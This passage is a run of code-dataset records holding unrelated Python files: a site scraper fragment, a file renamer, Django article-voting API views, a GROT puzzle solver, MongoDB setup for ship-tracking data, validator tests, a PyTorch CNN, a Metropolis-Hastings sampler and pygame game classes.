1/bareback)\")\n parser.add_option_group(group)\n\n def set_options(self, limit, reverse, options):\n logger.debug(\"Setting options for %s\" % __name__)\n self._username = options['username']\n self._password = options['password']\n self._target = options['target']\n self._token = options.get('token')\n self._pb_page = options.get('pb_page')\n\n self._validate()\n\n self.theme = options.get('theme')\n self.studios = re.split(\",\\s*\", options['studiolist'])\n\n self.limit = limit\n self.reverse = reverse\n\n def _update_video_list(self):\n fetched_file = os.path.join(self._target, '.fetched')\n self._videos = VideoList(VideoListFilterFile(fetched_file))\n\n self.session.get(HelixStudio.login_page)\n self.session.post(HelixStudio.login_page, data={'username': self._username, 'password': self._password})\n\n for studio in self.studios:\n if self.theme:\n q = \"tag=%s&studio=%s\" % (str(self.theme), str(studio))\n else:\n q = \"studio=%s\" % str(studio)\n\n url = HelixStudio.list_query.format(q)\n logger.debug('Fetching clip list from %s', url)\n\n page = self.session.get(url)\n page.raise_for_status()\n tree = html.fromstring(page.content)\n\n count = 0\n links = tree.xpath('//*[@id=\"main\"]/div/div[1]/ul/li/h4/a')\n for link in links:\n slug = link.get('href').split('=')[1]\n title = link.text.strip()\n description_url = HelixStudio.video_page.format(slug)\n\n logger.debug('Creating video \"{}\" ({}) with URL {}'.format(title, slug, description_url))\n video = HelixVideo(slug, description_url, self.session, title)\n\n if self._videos.is_item_fetched(video):\n continue\n\n self._videos[slug] = video\n count += 1\n if count > self.limit:\n logger.debug('Hit video fetch limit for %s', self.name)\n break\n\n\ndef init():\n return HelixStudio()\n","sub_path":"fetcher/helixstudios.py","file_name":"helixstudios.py","file_ext":"py","file_size_in_byte":5915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"525137700","text":"\n# %%\nimport os\nimport re\n\n# %%\nmdir = os.getcwd()\n\n# %%\nfor root, dirs, files in os.walk(mdir):\n for f in files:\n if ('.doc' in f) or ('.pdf' in f):\n rpath = os.path.join(root, f)\n Id = re.search(r\"[0-9]+\", f).group(0)\n auther = re.search(r\"[^0-9._]{2,5}\", f).group(0)\n dclass = re.search(r\"[^0-9._]{4,}\", f).group(0)\n dtype = re.search(r\".[a-z]+\", f).group(0)\n new_name = Id + '_' + auther + '_毕业设计(论文)' + dclass + dtype\n if rpath != __file__:\n os.rename(rpath, os.path.join(root, new_name))\n\n# %%\ninput(\"Finished,Enter to quit\")","sub_path":"collage_course/Dissertation/Other/毕业论文档案/Rename.py","file_name":"Rename.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"403295665","text":"from rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom articleManagement.models import PmUser, ArticleFeedBack, Article, Tags, Categories, ArticleRequests\nfrom articleManagement.utils import ArticleManagement\nimport json\n\n\nclass VoteForTheArticle(APIView):\n def post(self, request):\n try:\n like_count = 0\n users_objects_list = list()\n article_id = request.data.get(\"articleId\")\n user_object = PmUser.objects.get(email=request.user.email)\n try:\n article_feedback_object_list = ArticleFeedBack.objects.filter(article__id=article_id)\n for each_user_obj in article_feedback_object_list:\n users_objects_list.append(each_user_obj.user)\n if user_object not in users_objects_list:\n article_object = Article.objects.get(id=article_id)\n article_feedback_obj = ArticleFeedBack(article=article_object, user=user_object, likeCount=like_count+1)\n article_feedback_obj.save()\n return Response({\"result\": \"success\", \"message\": \"thanks for your feedback\"}, 200)\n else:\n return Response({\"result\": \"error\", \"message\": \"you have already voted for this article\"}, 500)\n except ArticleFeedBack.DoesNotExist:\n article_object = Article.objects.get(id=article_id)\n article_feedback_obj = ArticleFeedBack(article=article_object, user=user_object, likeCount=like_count+1)\n article_feedback_obj.save()\n return Response({\"result\": \"success\", \"message\": \"thanks for your feedback\"}, 200)\n except Exception as e:\n return Response({\"result\": \"error\", \"message\": \"\"}, 500)\n\n\nclass SendArticleForReview(APIView):\n def post(self, request):\n try:\n article_mgmt_init = ArticleManagement()\n insert_format = article_mgmt_init.get_insert_format()\n insert_format = ApiUtils().get_article_data(request, insert_format)\n article_insert_result = article_mgmt_init.insert_article(insert_format, insert_format.get(\"additionalInfo\"))\n if article_insert_result.get(\"error\"):\n return Response({\"result\": \"error\", \"msg\": article_insert_result.get(\"error\")}, 500)\n article_saved_data = article_insert_result.get(\"success\")\n article_request = ArticleRequests(user=PmUser.objects.get(email=request.user.email), article=Article.objects.get(id=article_saved_data.pk), requestStatus=\"REQUESTED\")\n article_request.save()\n return Response({\"result\": \"success\"}, 200)\n except Exception as e:\n return Response({\"result\": \"error\", \"message\": \"something went wrong. please try again later\"}, 500)\n\n\nclass GetArticleRelModules(APIView):\n def get(self, request):\n try:\n tags_list = Tags.objects.all().values_list('tagName', flat=True)\n categories_list = Categories.objects.order_by().values_list('name', flat=True).distinct()\n return Response({\"result\": \"success\", \"tags\": tags_list, \"categories\": categories_list}, 200)\n except Exception as e:\n return Response({\"result\": \"error\"}, 500)\n\n\nclass ApiUtils():\n\n @staticmethod\n def get_article_data(request, insert_format):\n insert_format[\"content\"] = request.data.get(\"articleBody\")\n insert_format[\"codePart\"] = request.data.get(\"articleCodePart\")\n insert_format[\"author_id\"] = PmUser.get_user_object(request.user.email)\n insert_format[\"subTitle\"] = request.data.get(\"articleSubTitle\")\n insert_format[\"title\"] = request.data.get(\"articleTitle\")\n insert_format[\"isActive\"] = False\n insert_format[\"additionalInfo\"] = dict()\n if request.data.get(\"tagsList\"):\n tags_list = json.loads(request.data.get(\"tagsList\"))\n insert_format[\"additionalInfo\"][\"tags\"] = tags_list\n if request.data.get(\"categoriesList\"):\n categories_list = json.loads(request.data.get(\"categoriesList\"))\n insert_format[\"additionalInfo\"][\"categories\"] = categories_list\n return insert_format\n","sub_path":"newpmpro/articleManagement/api_views.py","file_name":"api_views.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"24322159","text":"from typing import List, Tuple, Optional\r\nimport numpy as np\r\n\r\n\r\nclass GrotGameSolver:\r\n \"\"\"Class with algorithms to solve GROT game\r\n \"\"\"\r\n __slots__ = [\"board\"]\r\n\r\n def __init__(self, board: List[List] = None):\r\n self.board = np.array(board)\r\n\r\n def show_board(self) -> np.array:\r\n \"\"\"Just return board \r\n \"\"\"\r\n return self.board\r\n\r\n def find_longest_chain(self, board: Optional[List[List]] = None) -> List[int]:\r\n \"\"\"This method look for longest chain in board game.\r\n get board as argument or given as argument \r\n\r\n Args:\r\n board (Optional[List[List]], optional): Board to game. \r\n Defaults to board from self.board.\r\n\r\n Returns:\r\n [x, y, length] type=int: x and y is location of starting point the longest chain\r\n \"\"\"\r\n # prepare list, best alternate I know is to compare every new chain and if new\r\n # chain is longer then previous the longest, then replace\r\n score_list = []\r\n if board is None:\r\n # get dimensions of board\r\n dims = len(self.board), len(self.board[0])\r\n for x in range(dims[0]):\r\n for y in range(dims[1]):\r\n # append *Point(x,y), length of chain\r\n score_list.append([x, y,\r\n self.local_chain((x, y))])\r\n else:\r\n # the same as above but board from argument\r\n dims = len(board), len(board[0])\r\n for x in range(dims[1]):\r\n for y in range(dims[0]):\r\n score_list.append([x, y,\r\n self.local_chain((x, y), board)])\r\n\r\n # sort by length and return the first (longest one)\r\n score_list.sort(key=lambda x: x[2], reverse=True)\r\n return score_list[0]\r\n\r\n def local_chain(self, start: Tuple[int],\r\n board: Optional[List[List]] = None) -> int:\r\n\r\n if board is None:\r\n board_copy = np.copy(self.board).T\r\n else:\r\n board_copy = np.copy(board).T\r\n x, y = start\r\n board_dim = len(board_copy), len(board_copy[y])\r\n length = 0\r\n char, board_copy[x, y] = board_copy[x, y], 'x'\r\n while char != 'x':\r\n shift = self.shift_to(x, y, char)\r\n length += 1\r\n x = shift[0]\r\n y = shift[1]\r\n if not self.if_on_board((x, y), board_dim):\r\n break\r\n char, board_copy[x, y] = board_copy[x, y], 'x'\r\n\r\n return length\r\n\r\n def next_field(self, x: int, y: int,\r\n shift_x: int = 0, shift_y: int = 0) -> Tuple[int]:\r\n \"\"\"just increase the proper value (x/y) and return next location of chain\r\n\r\n Args:\r\n x (int): current x coordinate\r\n y (int): current y coordinate\r\n shift_x (int, optional): increse x by this value, default by 0 (neutral).\r\n shift_y (int, optional): increse y by this value, default by 0 (neutral).\r\n\r\n Returns:\r\n Tuple[int]: new chain coordinates (x,y) \r\n \"\"\"\r\n return x+shift_x, y+shift_y\r\n\r\n def shift_to(self, x: int, y: int, char: str) -> Tuple[int]:\r\n \"\"\"Convert char/letter to coordinates shift \r\n\r\n Args:\r\n x (int): current x coordinate\r\n y (int): current y coordinate\r\n char (str): letter as code (u)p, (d)own, (l)eft, (r)ight\r\n\r\n Raises:\r\n TypeError: when value is not supported but algorithm (not in {u,d,l,r})\r\n\r\n Returns:\r\n Tuple[int]: nex coordinte to check\r\n \"\"\"\r\n if char == 'r':\r\n return self.next_field(x, y, shift_x=1)\r\n\r\n elif char == 'l':\r\n return self.next_field(x, y, shift_x=-1)\r\n\r\n elif char == 'u':\r\n return self.next_field(x, y, shift_y=-1)\r\n\r\n elif char == 'd':\r\n return self.next_field(x, y, shift_y=1)\r\n\r\n elif char == 'x':\r\n return False\r\n print(char)\r\n raise TypeError(\"unsupported value found\")\r\n\r\n def if_on_board(self, point: Tuple[int], board_dim: Tuple[int]) -> bool:\r\n \"\"\"Return if point is on board or outside\r\n\r\n Args:\r\n point (Tuple[int]): current localization (x,y)\r\n board_dim (Tuple[int]): dimension of board\r\n\r\n Returns:\r\n bool: True -> is on board, False -> is outside\r\n \"\"\"\r\n # check bottom and right side of board\r\n condition = point[0] < board_dim[0] and point[1] < board_dim[1]\r\n # above * check top and left\r\n return condition and point[0] >= 0 and point[1] >= 0\r\n\r\n\r\ndef main():\r\n sample = [\r\n ['u', 'd', 'u', 'u'], # ↑ ↓ ↑ ↑\r\n ['u', 'r', 'l', 'l'], # ↑ → ← ←\r\n ['u', 'u', 'l', 'u'], # ↑ ↑ ← ↑\r\n ['l', 'd', 'u', 'l'], # ← ↓ ↑ ←\r\n ]\r\n grot = GrotGameSolver(sample)\r\n print(grot.find_longest_chain())\r\n sample_2 = [\r\n ['u', 'd', 'u', 'u', 'l', 'd'], # ↑ ↓ ↑ ↑\r\n ['u', 'r', 'l', 'l', 'u', 'r'], # ↑ → ← ←\r\n ['u', 'u', 'l', 'u', 'l', 'u'], # ↑ ↑ ← ↑\r\n ['l', 'd', 'u', 'l', 'd', 'u'], # ← ↓ ↑ ←\r\n ]\r\n print(grot.find_longest_chain(sample_2))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"GROT/grot.py","file_name":"grot.py","file_ext":"py","file_size_in_byte":5360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"76814346","text":"import os\nimport time\nimport pickle\nimport random\nimport argparse\nimport urllib.request\nimport feedparser\n\nfrom utils import Config, safe_pickle_dump\n\ntry:\n db = pickle.load(open(Config.db_path, 'rb'))\nexcept Exception as e:\n print('error loading existing database:')\n print(e)\n print('starting from an empty database')\n db = {}\n\ncount1=0\ncount2=0\ncount3=0\ncount4=0\n\ntot_count=0\n\ncount_dic={}\nfor i in db:\n if i[:2] not in count_dic:\n count_dic[(i[:2])]=1\n else:\n count_dic[i[:2]]+=1\nprint (i)\nprint (count_dic)","sub_path":"read_db.py","file_name":"read_db.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"450195961","text":"import mongo.mongoConnector as connector\nfrom geospatial import geoDataPreprocessing\nfrom preprocessing import dataPreprocessing_2\nimport json\nimport geopandas as gpd\nfrom shapely.geometry import shape\n\n\ndef insertAISData(insertDoc, isMany=True, isTemp=False) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n if isTemp:\n collection = db.ais_navigation_temp\n else:\n collection = db.ais_navigation\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n # printData(collection)\n\n\ndef insertPortData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.world_port_geo\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertFishingPortData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.fishing_port\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertTestPolyData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.query_polygons\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertFullDetailedPortsData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.world_port_information\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertWorldSeas(data, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.world_seas\n\n # print(len(data[\"features\"][\"\"]))\n insertDoc = []\n targetSeas = [\"Celtic Sea\",\n \"Bay of Biscay\",\n \"English Channel\",\n \"Bristol Channel\",\n \"St. George's Channel\"\n ]\n\n for sea in data[\"features\"] :\n properties = sea[\"properties\"]\n if properties[\"NAME\"] in targetSeas:\n print(properties[\"NAME\"])\n insertDoc.append(sea)\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertMapGrid(insertDoc, isMany=True):\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.target_map_grid\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertCountries(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.countries\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef linkGridToDocuments():\n \"\"\"{ \"_id\" : { }, \"min\" : 1443650401, \"max\" : 1459461599 }\n \"\"\"\n connection, db = connector.connectMongoDB()\n\n # get grids\n collection = db.target_map_grid\n map_grids = list(collection.find())\n\n # fix geometry for geopandas\n for grid in map_grids:\n grid[\"geometry\"] = shape(grid[\"geometry\"])\n\n # get gopandas dataframe\n map_grids_df = gpd.GeoDataFrame(map_grids)\n\n # creating or switching to ais_navigation collection\n collection = db.ais_navigation_temp\n\n print(\"connected\")\n\n # db.ais_navigation2.find({\"ts\": {\"$gte\": 1443650401, \"$lt\": 1444309200}})\n\n min_ts = 1443650401 #1444309200\n max_ts = 1459461599\n step = int((max_ts-min_ts)/50) # 1 week approximately\n count = 0\n\n # TODO UNCOMMENT FOR TEST\n # results = list(collection.find())\n # count += len(results)\n # __findGridCalculations__(map_grids_df, results)\n\n # TODO COMMENT FOR TEST\n for ts in range(min_ts+step, max_ts + step, step):\n results = list(collection.find({\"ts\": {\"$gte\": ts - step, \"$lt\": ts}}))\n count += len(results)\n __findGridCalculations__(map_grids_df, results)\n\n print(count)\n\n\ndef __findGridCalculations__(map_grids_df, ais_batch):\n results_dict = {}\n pings = []\n for ping in ais_batch :\n results_dict[ping[\"_id\"]] = ping\n pings.append({\"_id\" : ping[\"_id\"], \"geometry\" : shape(ping[\"location\"])})\n\n pings_df = gpd.GeoDataFrame(pings)\n pings_df = pings_df.rename(columns={'location' : 'geometry'})\n pings_per_grid = gpd.sjoin(pings_df, map_grids_df, how=\"inner\", op='intersects')\n pings_per_grid = pings_per_grid.drop(['geometry', 'index_right', 'seaID'], axis=1)\n pings_per_grid = pings_per_grid.set_index(\"_id_left\")\n\n for index, row in pings_per_grid.iterrows() :\n results_dict[index][\"grid_id\"] = row['_id_right']\n\n list_of_pings = [value for value in results_dict.values()]\n print(list_of_pings[0])\n print(pings_per_grid.head(5))\n print(pings_per_grid.columns)\n\n # upload data to mongo\n insertAISData(list_of_pings)\n\n\ndef mongoSetUp():\n # insert ais_navigation data to mongo\n dataPreprocessing_2.preprocessAisDynamic()\n\n # generate json files from original datasets shp's\n # geoDataPreprocessing.shpToJson()\n\n # insert ports geo point data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/port.json\") as f :\n data = json.load(f)\n insertPortData(data[\"features\"])\n\n # insert ports full details data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/WPI.json\") as f :\n data = json.load(f)\n insertFullDetailedPortsData(data[\"features\"])\n\n # insert world seas data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/World_Seas_IHO_v2.json\") as f :\n data = json.load(f)\n insertWorldSeas(data)\n\n # insert ports data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/Fishing Ports.json\") as f :\n data = json.load(f)\n insertFishingPortData(data)\n\n\n \"\"\"\n Create countries collection\n \"\"\"\n # get country data\n countries = dataPreprocessing_2.fetchMMSICountryData(isForAIS=False)\n # converting into list\n\n countries = [countries[key] for key in countries.keys()]\n print(countries)\n\n # upload to mongo\n insertCountries(countries)\n\n # insert ports data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../json_data/test_poly.json\") as f :\n data = json.load(f)\n insertTestPolyData(data)\n\n \"\"\"\n Create grid for target seas and link it to ais documents\n \"\"\"\n\n # generate map grid\n # 1) calculate grids for target seas\n # 2) upload it\n grid_list = geoDataPreprocessing.createGridForTargetSeas()\n insertMapGrid(grid_list)\n\n # link grid to documents\n linkGridToDocuments()\n\n\ndef mongoSetUpServer():\n # insert ports geo point data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/port.json\") as f :\n data = json.load(f)\n insertPortData(data[\"features\"])\n\n # insert ports full details data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/WPI.json\") as f :\n data = json.load(f)\n insertFullDetailedPortsData(data[\"features\"])\n\n # insert world seas data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/World_Seas_IHO_v2.json\") as f :\n data = json.load(f)\n insertWorldSeas(data)\n\n # insert fishing ports data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/Fishing Ports.json\") as f :\n data = json.load(f)\n insertFishingPortData(data)\n\n \"\"\"\n Create countries collection\n \"\"\"\n createCountriesCollection()\n\n # insert test polygons data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../json_data/test_poly.json\") as f :\n data = json.load(f)\n insertTestPolyData(data)\n\n\ndef createCountriesCollection():\n # get country data\n countries = dataPreprocessing_2.fetchMMSICountryData(isForAIS=False)\n # converting into list\n\n countries = [countries[key] for key in countries.keys()]\n print(countries)\n\n # upload to mongo\n insertCountries(countries)\n\n\nif __name__ == '__main__':\n if connector.isLocal:\n mongoSetUp()\n else:\n mongoSetUpServer()\n\n","sub_path":"marineTraficNoSQL/mongo/mongoSetUp.py","file_name":"mongoSetUp.py","file_ext":"py","file_size_in_byte":9345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"23401467","text":"from ngen import validators\nfrom twisted.trial.unittest import TestCase\n\nfrom datetime import datetime, date\n\n\nNOW = datetime.utcnow()\nTODAY = date.today()\n\n\nclass Field(object):\n pass\n\n\nclass ValidatorTests(TestCase):\n\n def setUp(self):\n self.field = Field()\n self.field.name = 'foo'\n self.field.min_length = 3\n self.field.max_length = 5\n\n def _tester(self, func, success, failure):\n for value in success:\n ret = func(self.field, value)\n self.assertEqual(ret, value)\n\n for value in failure:\n self.assertRaises(\n validators.ValidationError, func, self.field, value\n )\n\n def test_is_int(self):\n self._tester(\n validators.is_int,\n (-1, 0, 1),\n (1., 'bar', [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_float(self):\n self._tester(\n validators.is_float,\n (0., 1.),\n (1, 'bar', [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_number(self):\n self._tester(\n validators.is_number,\n (-1., 0, 1),\n ('bar', [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_char(self):\n self._tester(\n validators.is_char,\n ('bar', ),\n (1., 1, [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_bool(self):\n self._tester(\n validators.is_bool,\n (True, False),\n (1., 'bar', 1, [], None, {}, set(), (), NOW, TODAY)\n )\n\n def test_is_set(self):\n self._tester(\n validators.is_set,\n (set(), ),\n (1., 'bar', [], None, {}, True, (), NOW, TODAY)\n )\n\n def test_is_dict(self):\n self._tester(\n validators.is_dict,\n ({}, ),\n (1., 'bar', [], None, set(), True, (), NOW, TODAY)\n )\n\n def test_is_list(self):\n self._tester(\n validators.is_list,\n ([], ()),\n (1., 'bar', set(), None, {}, True, NOW, TODAY)\n )\n\n def test_is_datetime(self):\n self._tester(\n validators.is_datetime,\n (NOW, ),\n (1., 'bar', set(), None, {}, True, [], (), TODAY)\n )\n\n def test_is_date(self):\n self._tester(\n validators.is_date,\n (TODAY, ),\n (1., 'bar', set(), None, {}, True, NOW, [], ())\n )\n\n def test_check_length(self):\n\n self.assertRaises(\n validators.ValidationError,\n validators.check_length, self.field, 'a'\n )\n\n self.assertRaises(\n validators.ValidationError,\n validators.check_length, self.field, 'ab'\n )\n\n expected = 'foo'\n ret = validators.check_length(self.field, expected)\n self.assertEqual(ret, expected)\n\n expected += 'b'\n ret = validators.check_length(self.field, expected)\n self.assertEqual(ret, expected)\n\n expected += 'a'\n ret = validators.check_length(self.field, expected)\n self.assertEqual(ret, expected)\n\n self.assertRaises(\n validators.ValidationError,\n validators.check_length, self.field, 'foobar'\n )\n","sub_path":"ngen/test/test_validators.py","file_name":"test_validators.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"59600619","text":"import torch \nimport torch.nn as nn\n\ndef conv3x3(inp_channels, out_channels, stride=2, padding=1):\n \"\"\" basic conv layer whose kernel size = 3\n \"\"\"\n return nn.Conv2d(inp_channels, out_channels, 3, stride, padding)\n\ndef conv1x1(inp_channels, out_channels, stride=2):\n \"\"\" basic conv layer whose kernel size = 1\n \"\"\"\n return nn.Conv2d(inp_channels, out_channels, 1, stride)\n\nclass Block(nn.Module):\n \"\"\" building blocks of the small model\n \"\"\"\n def __init__(self, \n inp_channels, \n out_channels, \n stride=1, \n preactivation=False):\n super(Block, self).__init__()\n self.relu = nn.ReLU(inplace=True)\n self.preactivation = preactivation\n self.conv1 = conv3x3(inp_channels, inp_channels, stride=stride)\n self.bn1 = nn.BatchNorm2d(inp_channels)\n self.conv2 = conv3x3(inp_channels, out_channels, stride=1)\n self.bn2 = nn.BatchNorm2d(out_channels)\n self.channel_map = conv1x1(inp_channels, out_channels, stride=stride)\n\n def forward(self, x):\n identity = self.channel_map(x)\n if self.preactivation:\n x = self.conv1(self.relu(x))\n x = self.bn1(x)\n x = self.conv1(self.relu(x))\n x = self.bn2(x)\n x += identity\n else:\n x = self.bn1(self.conv1(x))\n x = self.relu(x)\n x = self.bn2(self.conv2(x))\n x += identity\n x = self.relu(x)\n return x \n\nclass SmallModel(nn.Module):\n \"\"\" define a small model\n \"\"\"\n def __init__(self, \n n_blocks=4, \n num_classes=7, \n preactivation=False): \n super(SmallModel, self).__init__()\n layers = nn.ModuleList()\n pre_layers = [\n nn.Conv2d(3, 64, 7, 2, 3), \n nn.BatchNorm2d(64), \n nn.ReLU(inplace=True), \n nn.MaxPool2d(3, 2, padding=1)\n ]\n layers.extend(pre_layers)\n inp_channels = 64\n downsample = False \n for _ in range(n_blocks):\n stride = 2 if downsample else 1 \n out_channels = min(inp_channels * 2, 256)\n layers.append(Block(inp_channels, out_channels, stride, preactivation=preactivation))\n downsample = not downsample\n inp_channels = out_channels\n layers.append(nn.AdaptiveAvgPool2d(output_size=(1, 1)))\n self.layers = nn.Sequential(*layers)\n self.fc = nn.Linear(out_channels, num_classes)\n\n def forward(self, x):\n x = self.layers(x)\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n return x","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"236083204","text":"import numpy as np\nimport pygame\n\n#------------------------------AnimatedGif Class------------------------------\n#Custom object containing data for displaying an animated GIF\n#Created as python is not very friendly when it comes to interacting with animated GIFs\nclass AnimatedGif:\n #Constructor - Should be relatively self-explanatory. new_paths is an array of file paths as strings\n def __init__(self, new_x, new_y, new_w, new_h, new_paths):\n self.frameCounter = 0 #Index of frame array that contains the next image to be displayed\n self.gif_x = new_x\n self.gif_y = new_y\n self.gif_w = new_w\n self.gif_h = new_h\n self.noOfFrames = len(new_paths)\n self.framePaths = np.array(new_paths) #Array of string, to store the file paths\n self.frames = np.array([None] * self.noOfFrames) #Array of pygame Surface objects, to store the actual graphical frames\n for n in range(self.noOfFrames):\n self.frames[n] = pygame.transform.scale(pygame.image.load(new_paths[n]), [self.gif_w, self.gif_h])\n\n #Return next frame of the GIF to be displayed\n #Set to loop the GIF indefinitely\n def getCurFrame(self):\n self.frameCounter = self.frameCounter + 1\n if self.frameCounter >= self.noOfFrames:\n self.frameCounter = 0 #Play GIF from beginning as frame cycle completed\n return self.frames[self.frameCounter]","sub_path":"anigif/anigif.py","file_name":"anigif.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"374825341","text":"import numpy as np\n\nclass MetropolisHasting(object):\n def __init__(self, pt, T, sampler, log_flag = False):\n \"\"\"\n \n Params:\n -------\n pt : a functional, X -> R, the density (or probability) of the \n target distribution\n T : a transition kernel, X x X -> R, the conditional density (or probability) of \n the transition kernel\n sampler : a random sampler, X -> X, the markov transition sampler\n\n Output:\n -------\n mh : a class of simulator MCMC based on Metropolis Hasting algorithm\n\n \"\"\"\n \n self.pt = pt\n self.T = T\n self.log_flag = log_flag\n self.sampler = sampler\n \n def _log_alpha(self, x, z, pt = None, T = None, log_flag = None):\n \"\"\"\n \n Params:\n -------\n x : current value in the chain\n z : next state value in the chain\n pt : (log) target density or probability\n T : (log) transition density or probability\n log_flag : boolean\n to indicate if the density or probability is stored in log scale\n \n Output:\n -------\n alpha: the transition threshold according to (x, z)\n in log scale according\n \"\"\"\n if pt is None:\n pt = self.pt\n \n if T is None:\n T = self.T\n \n if log_flag is None:\n log_flag = self.log_flag\n\n if log_flag:\n return pt(z) + T(z, x) - pt(x) - T(x, z)\n else:\n return np.log(pt(z)) + np.log(T(z, x)) - np.log(pt(x)) - np.log(T(x, z))\n\n def simulate(self, x0, d, N = 100):\n \"\"\"\n \n Params:\n -------\n x0 : numerical value (array-like), shape (d, )\n the initial state, value of the MCMC chain\n d : the dimension of x0\n an integer value\n N : integer value\n the number of observations to be sampled in the MCMC chain\n \n Output:\n -------\n X : array-like\n the observations of the markov chain, the distribution should\n converge to target distribution pt\n \n \"\"\"\n X = np.zeros((N, d))\n X[0] = x0 # set the initial state of the chain to x0\n for i in range(1, N):\n X_prime = self.sampler(X[i-1])\n s = np.log(np.random.rand())\n threshold = self._log_alpha(X[i-1], X_prime)\n if s < threshold:\n X[i] = X_prime\n else:\n X[i] = X[i-1]\n \n return X\n","sub_path":"monte_carlo/metropolis_hasting.py","file_name":"metropolis_hasting.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"196826716","text":"import pygame\nfrom globaldefines import *\n\nfrom math import *\nimport random\nfrom BossLifeBar import *\n\nfrom Laser import *\nfrom Powerup import *\nfrom Collider import *\nfrom Textures import *\nfrom Upgrade import *\n\ndebug = False\n\nclass Station(pygame.sprite.Sprite) :\n def __init__(self, player, enemies, type, upgrades) :\n pygame.sprite.Sprite.__init__(self)\n\n self.dir = 1\n if randint(0, 10) < 5 :\n self.dir = -1\n if self.dir == 1 :\n self.pos = pygame.math.Vector2(-300, CENTERY+uniform(-150, 50))\n else :\n self.pos = pygame.math.Vector2(WIDTH+300, CENTERY+uniform(-150, 50))\n \n self.type = type\n self.player = player\n self.upgrades = upgrades\n self.enemies = enemies\n self.scale = 1\n self.collider = Collider(self, 60, pygame.math.Vector2(0, 0))\n self.health = 1500\n self.image = textures['STATION_' + type]\n self.rotatespeed = 0.05\n if randint(0, 10) < 5 :\n self.rotatespeed *= -1\n\n self.angle = 0\n self.vel = pygame.math.Vector2(1*self.dir, 0)\n def update(self, dt, enemies, lasers, player) :\n \n if self.pos.x > WIDTH + 300 :\n enemies.remove(self)\n return\n\n self.angle += self.rotatespeed\n self.pos += self.vel\n\n # check collisions\n for laser in lasers :\n collider = laser.collider\n if laser.owner.type == 'PLAYER' and self.collider.collides(collider) : #collision\n self.health -= laser.lifetime\n laser.destroy(lasers)\n if self.health <= 0 :\n for i in range(0, 20) :\n l = Laser(player, self.pos + (uniform(-100, 100), uniform(-100, 100)), 0, 0, randint(10, 50))\n lasers.append(l)\n l.destroy(lasers)\n 